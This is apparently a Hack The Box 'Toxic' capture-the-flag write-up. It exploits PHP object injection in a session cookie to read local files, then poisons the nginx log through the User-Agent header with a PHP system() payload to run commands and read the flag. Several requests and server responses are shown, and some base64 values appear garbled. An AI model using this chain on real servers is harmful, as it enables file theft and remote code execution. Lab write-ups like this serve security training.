

Toxic

Scanning and Enumeration

```
(moghees@kali)-[~/.../CTF/HTB/toxic/web_toxic]
$ ls
build-docker.sh  challenge  config  Dockerfile  entrypoint.sh  flag

(moghees@kali)-[~/.../CTF/HTB/toxic/web_toxic]
$ cat flag
HTB{f4k3_fl4g_f0r_t3st1ng}

(moghees@kali)-[~/.../CTF/HTB/toxic/web_toxic]
$
```

```
index.php x
challenge > index.php
1  <?php
2  spl_autoload_register(function ($name){
3      if (preg_match('/Model$/, $name))
4      {
5          $name = "models/${name}";
6      }
7      include_once "${name}.php";
8  });
9
10 if (empty($_COOKIE['PHPSESSID']))
11 {
12     $page = new PageModel;
13     $page->file = '/www/index.html';
14
15     setcookie(
16         'PHPSESSID',
17         base64_encode(serialize($page)),
18         time()+60*60*24,
19         '/'
20     );
21 }
22
23 $cookie = base64_decode($_COOKIE['PHPSESSID']);
24 unserialize($cookie);
25
```

exploit

<https://blog.0daylabs.com/2016/04/03/unserialize-php-object-injection/>

Too complex no need for that.

The solution was simple I was just trying the right thing, but the output was not displaying as browser renders html.

Debugger Network Style Editor Performance Memory **Storage** Accessibility Application

Filter Items

Name	Value	Domain	Path	Expires / Max-Age
eu_cookie	{%22opted%22:true%2C%22nonessential%22:false}	209.97.140.29	/	Tue, 21 Oct 2025 01:05:16 GMT
PHPSESSID	Tzo5OIJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3d3dy9pbmRleC5odG1sljt9	209.97.140.29	/	Mon, 13 Nov 2023 07:08:35 GMT

Decode from Base64 format

Simply enter your data then push the decode button.

Tzo5OIJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo5NToiL3d3dy9pbmRleC5odG1sljt9

For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

UTF-8

Source character set.

☐

Decode each line separately (useful for when you have multiple entries).

Live mode OFF

Decodes in real-time as you type or paste (supports only the UTF-8 character set).

< DECODE >

Decodes your data into the area below.

O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

Encode to Base64 format

Simply enter your data then push the encode button.

O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}

2/6

Target: http://206.189.28.180:32282

Request

```
1 GET / HTTP/1.1
2 Host: 206.189.28.180:32282
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/119.0.0.0 Safari/537.36
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.
  8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Cookie: PHPSESSID=1zo5oIJQYwdLTW9kZwG1OJE6e3MND0iZmlsZSI7czoxMTg1L2V0Yy9wYXNkd2QlO3Q0=
10 Connection: close
11
12
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Sun, 12 Nov 2023 10:15:26 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/7.4.15
7 Content-Length: 1262
8
9 root:x:0:0:root:/root:/bin/bash
10 bin:x:1:1:bin:/bin:/sbin/nologin
11 daemon:x:2:2:daemon:/sbin:/sbin/nologin
12 adm:x:3:4:adm:/var/adm:/sbin/nologin
13 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
14 sync:x:5:0:sync:/sbin:/bin/sync
15 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
16 halt:x:7:0:halt:/sbin:/sbin/halt
17 mail:x:8:12:mail:/var/mail:/sbin/nologin
18 news:x:9:13:news:/usr/lib/news:/sbin/nologin
19 uucp:x:10:14:uucp:/var/spool/uucpubluc:/sbin/nologin
20 operator:x:11:0:operator:/root:/sbin/nologin
21 man:x:13:15:man:/usr/man:/sbin/nologin
22 postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
23 cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
24 ftp:x:21:21:/var/lib/ftp:/sbin/nologin
25 sshd:x:22:22:sshd:/dev/null:/sbin/nologin
26 at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
27 squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
28 xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
29 games:x:35:35:games:/usr/games:/sbin/nologin
30 cyrus:x:85:12:/usr/cyrus:/sbin/nologin
31 vpopmail:x:89:89:/var/vpopmail:/sbin/nologin
32 ntp:x:123:123:NTTP:/var/empty:/sbin/nologin
33 smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
34 guest:x:405:100:guest:/dev/null:/sbin/nologin
35 nobody:x:65534:65534:nobody:/:/sbin/nologin
36 www:x:1000:1000:1000:/home/www:/bin/sh
37 nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
38
```

Inspector

Request attributes: 2

Request query parameters: 0

Request body parameters: 0

Request cookies: 1

Name	Value
PHPSESSID	Tzo5OUQYWdLTW9kZwG1OJE6e3MND0iZmlsZSI7czoxMTg1L2V0Yy9wYXNkd2QlO3Q0=

Request headers: 9

Response headers: 6

Done 1,440 bytes | 222 millis

- Tries to get flag by using '/flag_*' but failed.

Took Hint:

O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}

```
206.189.28.180 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/css/production.css HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/dart-frog.jpg HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/bucket.svg HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/flask.svg HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/aircraft.svg HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/ryan1.png HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/js/production.js HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/ryan2.png HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/ryan3.png HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/ryan4.png HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/ryan5.png HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/ryan6.png HTTP/1.1" "http://206.189.28.180:32282/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
206.189.28.180 - 200 "GET /static/images/facebook.svg HTTP/1.1" "http://206.189.28.180:32282/"
```

Encode to Base64 format

Simply enter your data then push the encode button.

```
O:9:"PageModel":1:{s:4:"file";s:18:"/www/entrypoint.sh";}
```

HINT : Use LOG POISONING Through USER AGENT

<https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d>

Request

Pretty Raw Hex



```
1 GET / HTTP/1.1
2 Host: 206.189.28.180:32282
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: <?php system('id'); ?>
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.
  8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-US,en;q=0.9
9 Cookie: PHPSESSID=
  Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWVWNjZXNzLmxvZyI7fQ==
10 Connection: close
11
12
```

```
146 entrypoint.sh
147 etc
148 flag_NKj4t
149 home
150 lib
151 media
152 mnt
153 opt
154 proc
155 root
156 run
157 sbin
158 srv
159 sys
160 tmp
161 usr
162 var
163 www
164 "
```

Encode to Base64 format

Simply enter your data then push the encode button.

```
O:9:"PageModel":1:{s:4:"file";s:11:"/flag_NKj4t";}
```

Request

Pretty

Raw

Hex

1

GET / HTTP/1.1

2

Host: 206.189.28.180:32282

3

Cache-Control: max-age=0

4

Upgrade-Insecure-Requests: 1

5

User-Agent: <?php system('id'); ?>

6

Accept:

7

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

8

Accept-Encoding: gzip, deflate, br

9

Accept-Language: en-US,en;q=0.9

10

Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmJsZSI7czoxMToiL2ZsYWdfTktpqNHQlO3O=

11

Connection: close

12

Response

Pretty

Raw

Hex

Render

1

HTTP/1.1 200 OK

2

Server: nginx

3

Date: Sun, 12 Nov 2023 11:52:09 GMT

4

Content-Type: text/html; charset=UTF-8

5

Connection: close

6

X-Powered-By: PHP/7.4.15

7

Content-Length: 31

8

9

HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}

10

HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}